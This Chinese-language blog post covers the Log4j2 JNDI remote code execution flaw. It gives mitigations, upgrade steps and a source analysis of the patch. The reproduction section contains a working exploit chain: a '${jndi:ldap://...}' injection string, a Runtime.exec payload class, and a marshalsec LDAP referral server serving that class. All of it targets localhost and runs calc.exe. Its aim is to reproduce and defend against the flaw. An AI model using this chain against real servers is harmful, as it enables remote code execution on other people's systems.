Log4j2远程代码执行漏洞问题复现及处理方式

目录

文末附加已编译好的log4j2.15.0-rc2的jar包,以及log4j2.14.1的jar包

漏洞说明

LDAP攻击向量

复现步骤:

修复步骤

Log4j 2.X版本如何修复漏洞

验证

2.15.0-rc2源码编译方法

源码分析 

Log4j2.15.0做了哪些处理? 

编译完成的jar包


文末附加已编译好的log4j2.15.0-rc2的jar包,以及log4j2.14.1的jar包

漏洞说明

Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。“微步在线研究响应中心”做了漏洞复现:

图片

简单来说,就是在打印日志时,如果发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换,导致攻击者可以任意执行命令。详细漏洞披露可查看:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues

LDAP攻击大致原理:

LDAP攻击向量

攻击过程如下:

1.攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL

2.服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引用

3.服务器解码JNDI引用

4.服务器从攻击者控制的服务器获取Factory类

5.服务器实例化Factory类

6.有效载荷得到执行

详细原理参考:https://cloud.tencent.com/developer/article/1554406

应急处理:

(1)修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 log4j2.formatMsgNoLookups=True
(3)将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

复现步骤:

1、通过ide工具创建一个maven 项目,并在pom里面,引用2.X版本的log4j-api,log4j-core,log4j-1.2-api

    <dependencies>
        <!--log4j2 2.X -> 2.14.1-->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-1.2-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

2、调用logger.error函数

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4j2Test {

    private static final Logger logger = LogManager.getLogger(Log4j2Test.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/#Caculator}");
    }
}

 3、编译生成服务端调用代码Caculator.class

在另一个目录,构建Caculator.java文件,文件内容如下:

public class Caculator {
    static {
        try {
            System.out.println("invoke method");
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc.exe"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

通过javac命令,编译生成Caculator.class

javac Caculator.java

4、启动tomcat容器,并将Caculator.class保存到webapps/ROOT/目录下

启动完成后,访问127.0.0.1:8090/Caculator,若能跳转到下载页面,则证明能通过tomcat服务器访问到对应的类

5、搭建LDAP服务器

git clone git@github.com:mbechler/marshalsec.git

拉取到源码后,本地编译生成对应的marshalsec-0.0.3-SNAPSHOT-all.jar

然后在对应jar目录执行以下指令,启动LDAP服务器

#  #后的类名代表ldap服务定位查找的类名,会去tomcat服务器查询Caculator
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8090/#Caculator"

 

 6、调用测试类

可以看到LDAP获取到了tomcat服务器上的Caculator.class,并序列化后,传输回了客户端

 客户端反序列化后,构建了一个Caculator对象,输出了打印的信息,并调起了计算器

修复步骤

在复现了问题过后,该如何修复相应漏洞呢?目前官方已经针对log4j2-2.15.0-rc2版本发布了对应的修复源码,需要用户自行编译对应的jar包。

官方修复漏洞记录:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues

 官方提供的补丁源码:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

Log4j 2.X版本如何修复漏洞

上述的修复内容,需要将log4j2版本升级到2.15.0-rc2。但是,很多的用户担心升级后,存在兼容性问题。这里官方明确指出2.13.X到2.15.0是平滑的过度,理论上不存在兼容性的问题。并且,针对2.15.0前的版本也提供了修复方案:只需要删除log4j-core包中的JndiLookup.class文件即可

验证

验证版本log4j:2.14.1

这里,我直接通过压缩软件打开对应的jar包并删除JndiLookup.class后,通过上述漏洞复现案例,并不会触发Jndi的漏洞问题。因此,官方提供的删除依赖的解决方案是有效的。

2.15.0-rc2源码编译方法

参照官方文档:https://logging.apache.org/log4j/2.x/build.html

注意事项:

  • 1、确保本地当前Java的环境为Java8,如果本地有个Java环境,请先修改Java环境为Java8,再重启IDEA。
  • 2、确保本地有JDK9的环境
  • 3、建议跳过test步骤,否则安装的时间太长了

首先,下载上述补丁源码

然后修改源码目录的toolchains-sample-win.xml,配置好对应的jdk运行环境目录

 然后执行maven命令进行编译安装

mvn clean install -t ./toolchains-sample-win.xml -Dmaven.test.skip=true -f pom.xml

 安装成功后,就可以在本地仓库找到对应的jar包。然后通过上述漏洞还原的案例,进行测试,可以发现log4j2直接将注入的jndi信息作为message输出,不会再去请求LDAP服务,获取代码。

源码分析 

2.14.1

log4j在输出日志时,会去解析转换对应的message输出格式,在解析时会触发lookup方法去查找${}中需要替换的内容,而在解析处理${}内容的过程中,就可以通过jndi注入的方式,去调用ldap服务,加载远程服务端的代码到本地进行执行

完整调用栈如下图所示:

大致流程如下:

log4j通过messagePatternConverter转化msg的表达式,在解析过程中,会判断是否关闭lookups(通过msg表达式中匹配nolookups字符串),未关闭,则判断${开头的内容,进行查找替换

 这里会执行到StrSubstitutor的substitute方法

substitute方法中,会走到一步处理${}内容的方法resolveVariable

在resolveVariable方法中会去调用lookup方法查看替换变量名为variableName的属性

  接着就会跳转到JndiLookup的lookup实现函数中(这也是为什么2.14.1删除了JndiLookup类后,就不会出现漏洞情况的发生了)

 接下来,就会去调用jdk提供的Naming Service(这里也就是LDAP目录服务)

 通过调用jndiManager.lookup方法,就会请求LDAP服务器,检索对应的类名

最后通过LDAP服务器返回来的源码,进行反序列化,执行相应的操作。

Log4j2.15.0做了哪些处理? 

个人观点,可能存在一定的错误,望各位指出

主要的区别在于MessagePatternConverter的不同实现

2.15.0版本针对不同的类型构建了不同的Converter,默认是会调用SimpleMessagePatternConverter 

在创建消息解析转化的Converter时,会根据msg表达式的内容生成对应的options,而options默认情况下是空的,因此会构建simpleMessagePatternConverter

同时,还通过options匹配是否存在lookups字段,若存在,则开启lookup查找功能,也就会创建LookupMessagePatternConverter(该Converter的format实现会触发jndi的lookup调用)

同时,官方也对开启lookup后,可调用的jndi协议做了相应限制,例如:限制LDAP等

https://gitbox.apache.org/repos/asf?p=logging-log4j2.git;h=d82b47c

 具体开启lookup功能方法见官网:

https://github.com/apache/logging-log4j2/blob/master/src/site/asciidoc/manual/configuration.adoc

编译完成的jar包

以下jar包编译方式已在上述编译过程中给出

2.14.1只需替换log4j-core包

链接:https://pan.baidu.com/s/1LYHmrCLrEkuHqoZu5lSYGg 
提取码:gw4t

2.15.0提供了log4j-core,log4j-api,log4j-slf4j-impl

链接:https://pan.baidu.com/s/1E4x9G2KbHhHT7aeCxh2G_w 
提取码:ixg3

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值